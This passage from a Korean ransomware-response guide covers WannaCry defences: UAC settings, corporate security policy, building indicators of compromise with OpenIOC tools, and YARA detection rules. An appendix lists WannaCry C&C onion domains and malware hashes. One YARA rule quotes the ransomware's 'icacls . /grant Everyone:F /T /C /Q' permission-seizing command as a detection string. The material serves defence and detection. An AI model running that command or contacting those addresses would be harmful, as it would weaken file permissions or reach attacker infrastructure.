5.1.4. 사용자계정컨트롤설정사용자계정컨트롤 (UAC:User Account Control) 이란프로그램에서관리자수준의권한이필요한변경작업을수행할때이를사용자에게알려컴퓨터를제어할수있도록도와주는윈도우기능이다. 사용자계정컨트롤은랜섬웨어, 백도어, 키로거등의악성프로그램이무단으로진행하는자동설치를차단하여시스템을손상을방지하는데도움을준다. 또한사용자가실수로시스템설정을변경하지않도록방지한다. 해당설정은윈도우제어판을통해설정할수있다. ( 제어판 사용자계정 사용자계정컨트롤설정변경 기본값으로설정 ) [ 그림 5-4] 사용자계정컨트롤설정 - 52 -
5.2. 기업관리자대응방안 5.2.1. 사내보안의식제고 5.2.1.1. 무분별한인터넷사용제한대부분의기업이나기관에서는업무목적으로사용되는 PC에서의인터넷접속을제한하고있다. 하지만특정업무의경우인터넷접속이가능해야처리가가능한경우도있을것이다. 후자의경우인터넷접속으로인한보안사고가발생할확률이그렇지않은경우보다높다. 이와같은이유로인터넷접속이자유로운업무용PC를사용하는경우인터넷사이트접근을제한하는것이옳다. 물론현재도대부분의기업이나기관에서사용하고있는백신이나보안장비에서유해사이트에대한접근을제한하고있다. 화이트리스트 (White List) 방식으로접근제어를하는경우허용된사이트만접근가능하기때문에큰문제는발생하지않지만, 블랙리스트 (Black List) 방식에서문제가발생하게된다. 블랙리스트방식은이미알려진유해사이트에대한접근을제한하기때문에알려지지않은사이트에대한접근은제한할수없다. 다시말해잠재적인위험에노출되어있는것이다. 업무상부득이하게인터넷을허용해야하며, 이를화이트리스트방식으로관리할수없는상황이라면사실기술적으로통제할수있는뚜렷한방법은없다. 이런경우업무규정이나정책등을통해임직원의인터넷사용을제한할수밖에없다. 가령개인적인인터넷사용 ( 이번랜섬웨어사례의경우비트코인과관련된정보를검색하는과정에서악성코드에감염됨 ) 을제한하는것과같은것이다 5.2.1.2. 사내임직원대상정기적인보안교육실시 결국보안사고는사람에의해발생한다 라는말이있다. 이말은고가의보안장비와술루션, 최적화된보안정책과규정이적용된조직이라하여도결국조직원한명의행위로모든것이무너질수있다는의미이다. 이렇듯사내임직원들의보안에대한의식이높은수준이아니라면위에서언급한인터넷사용제한과같은정책이나규정도아무의미가없을것이다. 사실기업이나기관에서근무하고있는임직원들은현실적인보안위협이무엇인지알지못한다. 즉자신이하는행위중무엇이위험한행위인지아닌지에대한기준이없는것이다. 만약자신의행위로인해발생할수있는사고가무엇인지, 그리고그사고가어떤피해를야기할지알고있다면업무용 PC를함부 - 53 -
로사용하지않을것이다. 최근발생하고있는모든보안사고는사람에의해발생하고있다. 즉임직원 들의보안의식은필수적인요소가되었다는것이다. 우리가갖고있는현실적인보안위협이무엇인지, 이로인해발생하는피해가무엇이며피해규모는어느정도인지, 무엇을했을때이런사고가발생할수있는지, 사고가발생하였을때어떤조치를취해야하는지등을알려줄수있는정기적인보안교육을통해실직적인보안의식제고가필요하다. 5.2.2. 사고대응준비설정 5.2.2.1. 긴급업데이트적용기업이나기관의경우업무용 PC에서동작하는다양한어플리케이션과의문제를고려해야하기때문에윈도우시스템업데이트나어플리케이션의업데이트를내부망에있는시스템에바로적용할수는없다. 이런이유로기업이나국방부직할부대및기관의경우업데이트가발표되면내부인프라를관리하는부서에서해당업데이트가시스템과네트워크에미치는영향을분석하고문제가없을경우배포하여업데이트를진행하는것이일반적이다. 하지만사용자의업무PC 혹은내부망네트워크에치명적인문제를야기하는보안이슈에대한업데이트의경우최대한빠르게검토하여내부시스템에업데이트수행이진행되어야한다. 그렇지않을경우랜섬웨어감염과같은치명적인문제를야기할수있다. 이에기업이나기관의경우보안과관련된긴급업데이트를관리할수있는인력이기존에구성되어있지않다면 TF(Taskforce) 팀을구성하여치명적인결과를야기할수있는보안이슈에대한신속한업데이트를지원할수있어야한다. 5.2.2.2. 침해사고대응준비기업이나기관에서침해사고가발생하는경우이를대응할수있는내부적인인력을구성해야한다. 혹기업의사정으로사고대응인력을구성할수없다면사고대응체계를사전에갖추고사고발생시더이상피해가커지지않도록빠르게조치하는것이중요하다. - 54 -
5.2.2.3. 침해지표 (IOC) 준비 IOC (Indicator of Compromise, 침해지표 ) 는네트워크나운영체제상에서확인된침해사고흔적들을일정한포맷으로정리한문서또는파일을의미하며, 일반적인침해지표는다음과같다. Ÿ IP 주소 Ÿ C&C URL Ÿ 파일정보 ( 악성코드 해쉬, 악성코드컴파일시간, 파일사이즈, 파일이름및경로, PEInfo (Exports, ImportedModules, ResourceInfoList, Sesions 등 )) Ÿ 레지스트리 ( 레지스트리키경로및값 ) Ÿ 메모리 ( 프로세스명, 핸들이름, import/export 모듈 ) 침해지표관련표준은다음과같으며, 본문서에서는 OpenIOC 를활용하는방 법에대해서설명한다. Ÿ IODEF (The Incident Object Description Exchange Format) Ÿ CybOX (Cyber Observable Expression) Ÿ OpenIOC OpenIOC 는 XML 기반의침해지표를사용하며, 필요에따라서추가적인침해 지표를추가하는것이가능한유연한표준이다. OpenIOC 에서 600 여개의지표 타입을제공하고있다. IOC 는다음과같은과정을통해사용이가능하다. Ÿ 특정파일의 해쉬, 파일이름, 사이즈, 생성날짜, 속성등을검색 Ÿ 메모리상의특정엔티티 ( 프로세스정보, 실행중인서비스정보 ) 검색 Ÿ 윈도우레지스트리의특정엔트리또는엔트리집합 Ÿ False Positive를줄이기위해위조건들을다양한형태로조합 특정파일아티팩트를찾는대신, OpenIOC의논리연산을이용하여아티팩트그룹끼리조합하여사용할수있다. 예를들어, 동일한제작자나동일한공격그룹에의해사용되는공격도구아티팩트와악성코드아티팩트를조합하여사용할수있다. 또는, 디렉토리내정상파일들에대한화이트리스트를만들어서이에해당하지않는파일을찾는방법을사용할수도있다. - 55 -
IOC 는생성 배포 분석 수집 생성의과정을거치면서변형된형 태의공격까지탐지될수있게확장시킬수있다. [ 그림 5-5] IOC 관리프로세스 침해지표는 FireEye(Mandiant) 에서제공하는 IOC Editor를이용하여생성할수있다. IOC Editor는무료도구로서 FireEye 홈페이지 1) 에서무료로다운로드받을수있다. 기존에다양한형태의악성코드 / 침해사고를분석하여작성된 IOC들이존재하며, 이를검색을통해다운로드할수있는사이트 2) 가많이있다. IOC Editor 를설치후실행하면다음과같은화면을확인할수있다. 1) FireEye URL : https://www.fireeye.com/services/freeware/ioc-editor.html 2) IOC 다운로드 URL : https://www.iocbucket.com/search - 56 -
[ 그림 5-6] OpenIOC Editor 실행화면 IOC Editor를통해새로운 IOC를제작하거나기존에작성되어있던 IOC를수정할수도있다. 새로운 IOC를생성하는경우다음과같은정보를입력하여생성하도록한다. Ÿ Name : IOC 이름 Ÿ Author : IOC 작성자이름 Ÿ GUID : IOC 고유번호 ( 자동할당 ) Ÿ Created, Modified : IOC 생성날짜, 수정날짜 ( 자동할당 ) Ÿ Description : IOC 설명 우측하단이실제 IOC 를이용하여검색할로직이표현된곳이다. AND 와 OR 로직두가지를사용할수있으며, 지표 (Item) 를입력할수있다. [ 그림 5-7] 침해지표작성예시 - 57 -
위와같이작성된침해지표를테스트하기위해 IOC Finder 를사용할수있다. IOC Finder 도마찬가지로 FireEye 에서배포 3) 하는무료도구이다. IOC_finder 사용법은다음과같다. IOC 와매칭할데이터를수집하는 collect 옵 션과수집된데이터를 IOC 와비교 / 검색하는 report 옵션을사용할수있다. C:\>mandiant_ioc_finder.exe mandiant_ioc_finder collect [-o output_dir] [[-d drive]...] [-q] [-v] [-h] mandiant_ioc_finder report [ [-i input_iocs]...] [-s source_data] [-t html doc] [-o output_folder (html) or file (doc)] [-q] [-v] [-h] [-w verbose summary off] 결과는 HTML 이나 DOC 형태로출력이가능하다. 먼저테스트에사용할 IOC 파일을준비한다. 앞서언급한 IOC Bucket 에서필 요한 IOC 파일을다운로드할수도있으며, 지표에대한정보가있을경우직접 IOC 파일을만들어서사용하면된다. 워너크라이랜섬웨어감염사고발생시 SMB 취약점을이용하여내부망에전파되었을가능성이매우크다. 따라서내부네트워크에확산된워너크라이랜섬웨어의감염여부확인및확산범위등을조사할때침해지표를사용하도록한다. 지금까지공개된워너크라이랜섬웨어침해지표는 별첨 #1. 워너크라이랜섬웨어침해지표 에서확인할수있다. 3) IOC Finder 배포 URL : https://www.fireeye.com/services/freeware/ioc-editor.html - 58 -
5.2.3. YARA Rule 활용 YARA는윈도우 / 리눅스 /MAC OS X 에서실행가능한프로그램으로, 문자열과조건을이용하여악성코드를식별하고분류할수있는도구이다. 텍스트또는바이너리패턴을기반으로악성코드를식별할수있다. YARA는문자열의집합과로직을결정하는부울식으로이루어져있다. rule silent_banker : banker { meta: description = "This is just an example" thread_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c } 다음 URL 에서소스코드를다운로드하여컴파일을위한준비를한다. Ÿ 다운로드 URL : https://github.com/virustotal/yara/releases # tar -zxf yara-3.5.0.tar.gz # cd yara-3.5.0 #./bootstrap.sh 컴파일전 automake, libtool, make, gcc 를설치한다. 우분투나데비안은다음 명령을통해서설치한다. RedHat 계열 (CentOS 등 ) 은 yum 명령을이용하여설치 한다. # apt-get automake libtool make gcc 다음과같이기본방법을이용하여컴파일하고설치한다. #./configure # make # make install 윈도우사용자는다음 URL 에서컴파일된실행파일을다운로드하여사용하면된다. Ÿ 다운로드 URL : https://drive.google.com/drive/folders/0bznomqz9f3vuek8y N3VvSGdhRFU - 59 -
yara 사용법은다음과같다. root@ubuntu:~# yara --help YARA 3.5.0, the pattern matching swiss army knife. Usage: yara [OPTION]... RULES_FILE FILE DIR PID Mandatory arguments to long options are mandatory for short options too. -t, --tag=tag print only rules tagged as TAG -i, --identifier=identifier print only rules named IDENTIFIER -n, --negate print only not satisfied rules (negate) -D, --print-module-data print module data -g, --print-tags print tags -m, --print-meta print metadata -s, --print-strings print matching strings -e, --print-namespace print rules' namespace -p, --threads=number use the specified NUMBER of threads to scan a directory -l, --max-rules=number abort scanning after matching a NUMBER of rules -d VAR=VALUE define external variable -x MODULE=FILE pass FILE's content as extra data to MODULE -a, --timeout=seconds abort scanning after the given number of SECONDS -k, --stack-size=slots set maximum stack size (default=16384) -r, --recursive recursively search directories -f, --fast-scan fast matching mode -w, --no-warnings disable warnings -v, --version show version information -h, --help show this help and exit Send bug reports and suggestions to: vmalvarez@virustotal.com. YARA를실행하기위해서는규칙파일과대상두가지옵션을사용해야한다. YARA 규칙은필요한경우직접작성하여사용해도되지만, 기존에작성된규칙파일이있다면이를활용하는것도좋은방법이다. 다양한형태의악성코드를탐지할수있는 YARA 규칙은 https://github.com/yara-rules/rules 사이트에서확인할수있다. 이글루시큐리티는간단한문자열을통해워너크라이랜섬웨어를탐지할수있는 YARA Rule을제작하여배포하고있다. 다음은워너크라이랜섬웨어가포함하고있는문자열을기반으로악성코드를탐지하는 YARA Rule 예제이다. - 60 -
rule wannacry_1 : ransom { meta: author = Joshua Cannell description = WannaCry Ransomware strings weight = 100 date = 2017-05-12 Strings: $s1 = Ooops, your files have been encrypted! wide ascii nocase $s2 = Wanna Decryptor wide ascii nocase $s3 =.wcry wide ascii nocase $s4 = WANNACRY wide ascii nocase $s5 = WANACRY! wide ascii nocase $s7 = icacls. /grant Everyone:F /T /C /Q wide ascii nocase Condition: any of them } FireEye에서도공격자행위와동원한기법분석에따른변종랜섬웨어에대응하기위한 YARA Rule을제작후배포하였다. 해당 Rule을통해현재환경에침투한랜섬웨어를탐지하거나, SMB나 API 관련사내네트워크내에서일어나는이상행동을탐지할수있다.(http://blog.naver.com/fireeyekorea/221039206937) 6. 결론 이미랜섬웨어에감염되어시스템에저장된파일이암호화되었다면이를복구 할수있는가능성은희박하다. 대부분의악성코드가그러하듯이랜섬웨어도감염되기전에예방하는것이가장효과적으로대응할수있는방법이다. 랜섬웨어에감염되어이미암호화된파일은복구가불가능하기때문이다. 따라서앞서설명했던랜섬웨어예방법을숙지하고적용하여랜섬웨어감염으로인한피해를최소화해야할것이다. - 61 -
별첨 #1. 워너크라이랜섬웨어 IOC 목록 분류 침해지표 비고 CVE CVE-2017-0144 domain 57g7spgrzlojinas.onion domain 76jdd2ir2embyv47.onion domain cwwnhwhlz52maqm7.onion domain gx7ekbenv2riucmf.onion domain sqjolphimrr7jqw6.onion domain xxlvbrloxvriy2c5.onion 007a71c83b7e5e7dee8cca4cb13e86c1 08bab082019257268a3726ae75463f47 1c615bf80a47848f17f935e689ae7ee2 246c2781b88f58bc6b0da24ec71dd028 26b205ffe4adaadbb442442cae653bdd 29365f675b69ffa0ec17ad00649ce026 2b4e8612d9f8cdcf520a8b2e42779ffa 3175e4ba26e1e75e52935009a526002c 31dab68b11824153b4c975399df0354f 32f5d4bb6e967ac8c15950322b69975b 38089fd3b6f1faa54cfe974fd1e29f0a 3c6375f586a49fc12a4de9328174f0c1 3e0020fc529b1c2a061016dd2469ba96 4362e287ca45a4862b7fe9ecaf46e985 4e1f1183a31740618213f4e4c619b31c - 62 -
- 63-4fef5e34143e646dbf9907c4374276f5 509c41ec97bb81b0567b059aa2f50fe8 52ba0c7470f214486da9a6c7a710afa0 54a116ff80df6e6031059fc3036464df 57aaa19f66b1eab6bea9891213ae9cf1 5ad5075d8d66cd7c05899d8044fdab65 5bef35496fcbdbe841c82f4d1ab8b7c2 638f9235d038a0a001d5ea7f5c5dc4ae 775a0631fb8229b2aa3d7621427085ad 7a2726bb6e6a79fb1d092b7f2b688af0 7bf2b57f2a205768755c07f238fb32cc 7c742d6cc135784323395ecc7d526bf6 7d31adca26c6c830f6ea78ed68de166b 7e6b6da7c61fcb66f3f30166871def5b 7f7ccaa16fb15eb1c7399d422f8363e8 800446ec5d8b6041f6b08693d8aa1d53 80a2af99fd990567869e9cf4039edf73 82fc5885862b097be5ec9ec2176e30f1 82fd8635ff349f2f0d8d42c27d18bcb7 83e5a812a371e0790066c6fb038f0d26 8495400f199ac77853c53b5a3f278f3e
- 64-84a912cc30e697c4aab6978fb2fceb7c 84c82835a5d21bbcf75a61706d8ab549 86721e64ffbd69aa6944b9672bcabb6d 8dd63adb68ef053e044a5a2f46e0d2cd 92cc807fa1ff0936ef7bcd59c76b123b 93ebec8b34a4894c34c54cca5039c089 947d69c0531504ee3f7821574ea405a7 9503af3b691e22149817edb246ea7791 b0ad5902366f860f85b892867e5b1e87 b7f7ad4970506e8547e0f493c80ba441 b8a7b71bfbde9901d20ab179e4dead58 bdda04ebcc92840a64946fc222edc563 bec0b7aff4b107edd5b9276721137651 c61256583c6569ac13a136bfd440ca09 d6114ba5f10ad67a4131ab72531f02da db349b97c37d22f5ea1d1841e3c89eb4 e372d07207b4da75b3434584cd9f3450 eb7009df4951e18ccbe4f035985b635c f0d9ffefa20cdadf5b47b96b7f8d1f60 f107a717f76f4f910ae9cb4dc5290594 f529f4556a5126bba499c26d67892240
- 65 - f97d2e6f8d820dbd3b66f21137de4f09 fefe6b30d0819f1a1775e14730a10e0e ff81d72a277ff5a3d2e5a4777eb28b7b 46d140a0eb13582852b5f778bb20cf0e f9992dfb56a9c6c20eb727e6a26b0172 c39ed6f52aaa31ae0301c591802da24b 05a00c320754934782ec5dec1d5c0476 f9cee5e75b7f1298aece9145ea80a1d2 835fff032c51075c0c27946f6ebd64a3 13d702666bb8eadcd60d0c3940c39228 c3e7343ae0de8f6c6a907ba06925fe19 0156edf6d8d35def2bf71f4d91a7dd22 1fd3d102d83758e8317df2380821e807 df535dcb74ab9e2ba0a63b3519eee2bb 2822abbaff89f989a4377b3c54067540 57b5c96abfd7ab5f33d9e3c20067687a 8ff9c908dea430ce349cc922cee3b7dc 8424e87370e83d18d1239f43238b318b efa8cda6aa188ef8564c94a58b75639f 4b27c04d8c3befc0b534c1e41933245d b0badc4ce72ce584ef0855249dbb0d98
- 66 - a155e4564f9ec62d44bf3ea2351fd6ce 0fb1ce09b168987ce7f47bcd82fa034d bb54f7f62e845ce054d1b3234ea52b22 b33c6822e68a5a1a666579681fdc5429 c39f774f7b4257f0ec3a7329063fc39c b77288deb5e9ebced8a27c5ea533d029 a0feeb586e91376a36e586504f25c863 f75b0a879aa40db2bece5553a9eaa069 b0a61ac3f9665e6c967b8d58a2db9fcc 5902d0ea85b00f59a44c6d1c9174da56 19f28e4f56b1796cf7ab44b46546a504 254d785f692e4590609df7018ed69035 a77d1e53dd2089e2a040c8b96a523132 27cb59db5793febd7d20748fd2f589b2 c21200c655deb19ef1e1e570cd0393ec 16aa3809de7a2a87d97de34ed7747638 51e7d2cde395ba71078fcd998427c119 358dff8d2be4aff312073979ad025f9b 00f699cf9bbc0308f6e101283eca15a7c566d4f9 066e8de844f7c40cd583e02488bb0f445e1320ee 06b949f5335c5602492f9bcdfa1d9edf839980b6
- 67-08e7f80c697d0b658c3d3a87272df630d76bbd01 0ddef1c4fc15faee01f6a740ad3c7750ca7b4c52 14249e7fb3fb6f4b363c47d5aae9f46dab2083c1 1c3aa20742aa553ef463299a9bdf4a91984ad98e 1e4858d9a807ddaa791516d3b7a9272eb8d8ab82 2404da057bdfd5fbe9832158d37a44114ddecf73 314c4704ed6a9871a86d3276b135195d05f154a4 39b9e242af021ee4daa31956f5e786f5d8f9d62c 3a870692662ccb90c0dcb76b6c3365995bde64f8 45356a9dd616ed7161a3b9192e2f318d0ab5ad10 50049556b3406e07347411767d6d01a704b6fee6 51bfdd1eb973cd8fda5df33d916e74cb641d1d06 51e4307093f8ca8854359c0ac882ddca427a813c 571dfbe51a38dc94585a2f35c9b4e426d187a0f3 596799b75b5d60aa9cd45646f68e9c0bd06df252 5b7a08634692ead619ae08f09cba952ec9831aeb 5d68e2779e2cccee49188363be6cddbb0bac7053 5ff465afaabcbf0150d1a3ab2c2e74f3a4426467 61b9ae415fbe95bf4e6c616ce433cd20dce7dfe3 69ac81a5f69653ac16be7d95e736816902813e85 6d461ff1eddb21957383f8840e55c9674b81efc2
- 68-6f7a92ddf4b6d82c4f8040af1f3d615e00d95a7e 75ec451c70e15b9c2f8fb05c07fb544ad81bbe12 7cffc66bd82f2088021b696e56ac8f4d8a9eb658 7e468cf52b54bb3773595800e76211d3d8d5fe51 87420a2791d18dad3f18be436045280a4cc16fc4 87e73a1722680b79acc404aa65b9707b4287b471 8897c658c0373be54eeac23bbd4264687a141ae1 90873b0d61ab387d4f95a79407a0bdec7ff06896 91956921fdd1b3389834596f46d5d9c152fd2a0b a1818054b40ec9e28bebe518ecc92f4eceaffef4 a234eadecd5e70f1fcc3f482ca059befa5db731a a93e91aac53f68fc027237a5f4656c36c5916628 ae7113dd9a65a7be186d1982b02e16decda7eb80 af7db69cbaa6ab3e4730af8763ae4bf7b7c0c9b2 b3effadce8b76aee8cd6ce2eccbb8701797468a2 b9ce098e5172542fc9c76d62848b2e9291af46be bd44d0ab543bf814d93b719c24e90d8dd7111234 c3a91c22b63f6fe709e7c29cafb29a2ee83e6ade c433f7f00f0f58a933be3f2b795a1f41f7c68e44 c5e6c97e27331b6d38717e156ba89df1387d94f7 c91b27f3ab872999a8f0a4ed96909d6f3970cb8b
- 69 - d34205f2a89fc437a0b7b536c1f55ec594e01b93 d3c6738fccd530047f0f8b8575562c5ad1350b33 dad126728d7185ca7c28edf6fb081592bbfdfea3 df815d6a5fbfc135d588bf8f7e9d71319aef2a8d e27fd07aba2b00eb189c5d968a9a552c88eee51d e5356730123eddd45faab91de057a88d48c6651e e889544aff85ffaf8b0d0da705105dee7c97fe26 eea7386f7b938c6785cf14221ad3f00516d271db fdb0ea8a8fa6bd9439fdb8a4327b14670544a5c6 8ddc724558a9bad2e516402f34523e28c666f222 97222f83a6561fe54d5fa124f96158f79be64b44 d0666f01edaff6231550fbef8b5166611c62beed b4f80034fbb1769fccf3fd37253d61e32c821c61 3709a9b48aee0d6039b4b3581be33f48d4919b79 eba84b75362fa0b1486e9458b6a2f2bdc25d19fb 6ed05ab73800e1c852a88bf36b683e2b471d2a80 cb4490d3c323c4bd7d02645d173cbd77f6787c9f e16ca5d31964e7cffae1fc7940ef6aef840a90c9 3b309426396a935efbabb9d001286b37bc2484f5 fbe421b583ff1212c91f3f4d07e9bc198cfa8d88 ea663d8c3fcbc920cfaecf19d494cad62a9d95c7
- 70-3bee30120939b7ed6ae57972c1bd897a2118911b 89f5de9b21c6d6ce1950e36b39947b08717a0de6 75ad6fcb41b5da19a140af32628429080380f7de 2f3303c2f4924905a41aabb79d1abca7f79e7287 8eabbd3ef3b10d87518bcc7a3b3ec426fc84f032 d150d18ad37197140a5e966d5c45ec4a7f109f25 dc14e53da0b6abaa6370a8860e0abb2bd3e2d9c4 257b997d7948c7389714ebf07bb0487b40cd7920 0d4a5ebccacb6d8b7d2a80afdaa8c90a9e048b63 5edf0ec7b70014a07b5aa38661770e72dc4d2df0 6ee24a7cad4b36770e57f2713ec4e46ba6b70477 d5f5a68ef26ca47197c44bd685c25e40e7db658a 76eecf89e01ad94bdf7714603e4009a05ec03a14 a0feb46b9d9d6575f159606ff598fa72bef251da 7cdc7cc7b457b145fd1c0600b5e9853a2482d2bf 009ed8635d9bc8ca7efa0409b41d2b9cccd08716 e010469f52ad4a1b2216bb7b8cc0efd2c5e8391a 097aa6102b3db7d80a62b84c996baebb41aac328 58272400a6e9bcd04ecfb73094bc0c1a7384c4c7 09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae 0dc94d0c238ee36421cafa 0bb221bf62d875cca625778324fe5bd6907640f6998 d21f3106a0447aabc1e3c
- 71-0e5ece918132a2b1a190906e74becb8e4ced36eec9f 9d1c70f5da72ac4c6b92a 11011a590796f6c52b046262f2f60694310fa7144136 3d9116ada7248e58509a 11d0f63c06263f50b972287b4bbd1abe0089bc993f7 3d75768b6b41e3d6f6d49 149601e15002f78866ab73033eb8577f11bd489a4ce a87b10c52a70fdf78d9ff 16493ecc4c4bc5746acbe96bd8af001f733114070d6 94db76ea7b5a0de7ad0ab 190d9c3e071a38cb26211bfffeb6c4bb88bd74c6bf99 db9bb1f084c6a7e1df4e 1e6753f948fa648ef9e0d85795b7f090968ee1f240efc 0628283776ea55ccb0f 22ccdf145e5792a22ad6349aba37d960db77af7e0b6 cae826d228b8246705092 24d004a104d4d54034dbcffc2a4b19a11f39008a575 aa614ea04703480b1022c 2584e1521065e45ec3c17767c065429038fc6291c09 1097ea8b22c8a502c41dd 2ca2d550e603d74dedda03156023135b38da3630cb 014e3d00b1263358c5f00d 31c2024d0df684a968115e4c3fc5703ef0ea2de1b69e ce581589e86ba084568a 402751fa49e0cb68fe052cb3db87b05e71c1d950984 d339940cf6b29409f2a7c 4186675cb6706f9d51167fb0f14cd3f8fcfb0065093f6 2b10a15f7d9a6c8d982 498b8b889bb1f02a377a6a8f0e39f9db4e70cccad82 0c6e5bc5652e989ae6204 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec 30776e5a731813f05d49e 4a468603fdcb7a2eb5770705898cf9ef37aade532a79 64642ecd705a74794b79 4c69f22dfd92b54fbc27f27948af15958adfbc607d68 d6ed0faca394c424ccee 51432d3196d9b78bdc9867a77d601caffd4adaa66dc ac944a5ba0b3112bbea3b 593bbcc8f34047da9960b8456094c0eaf69caaf16f16 26b813484207df8bd8af 5ad4efd90dcde01d26cc6f32f7ce3ce0b4d4951d4b9 4a19aa097341aff2acaec
- 72-5dee2ac983640d656f9c0ef2878ee34cda5e82a52d3 703f84278ac372877346d 5f2b33deee53390913fd5fb3979685a3db2a7a1ee87 2d47efc4f8f7d9438341f 63bd325cc229226377342237f59a0af21ae18889ae7 c7a130fbe9fd5652707af 6bf1839a7e72a92a2bb18fbedf1873e4892b00ea4b1 22e48ae80fac5048db1a7 7966d843e5760ece99bd32a15d5cd58dc71b1324fd c87e33be46f377486a1b4b 7a828afd2abf153d840938090d498072b7e507c7021 e4cdd8c6baf727cafc545 7bb9ea2c0f53fa96883c54fa4b107764a6319f6026e4 574c9feec2cb7d9e7d21 7c0104b0d987d724fa996da8e876cf5fa0fbf5880726f 9c565eec57c0c80ce56 7c465ea7bcccf4f94147add808f24629644be11c0ba4 823f16e8c19e0090f0ff 7e369022da51937781b3efe6c57f824f05cf43cbd66b 4a24367a19488d2939e4 840ab19c411c918ea3e7526d0df4b9cb002de5ea15e 854389285df0d1ea9a8e5 940dec2039c7fca4a08d08601971836916c6ad5193b e07a88506ba58e06d4b4d 9b60c622546dc45cca64df935b71c26dcf4886d6fa81 1944dbc4e23db9335640 9fb39f162c1e1eb55fbf38e670d5e329d84542d3dfcd c341a99f5d07c4b50977 a141e45c3b121aa084f23ebbff980c4b96ae8db2a8d 6fde459781aa6d8a5e99a a1d23db1f1e3cc2c4aa02f33fec96346d9d5d5039ffc 2ed4a3c65c34b79c5d93 a50d6db532a658ebbebe4c13624bc7bdada0dbf4b0 f279e0c151992f7271c726 a897345b68191fd36f8cefb52e6a77acb2367432abb 648b9ae0a9d708406de5b ac7f0fb9a7bb68640612567153a157e91d457095ead fd2a76d27a7f65c53ba82 b3c39aeb14425f137b5bd0fd7654f1d6a45c0e8518ef 7e209ad63d8dc6d0bac7 b43b234012b8233b3df6adb7c0a3b2b13cc2354dd6 de27e092873bf58af2693c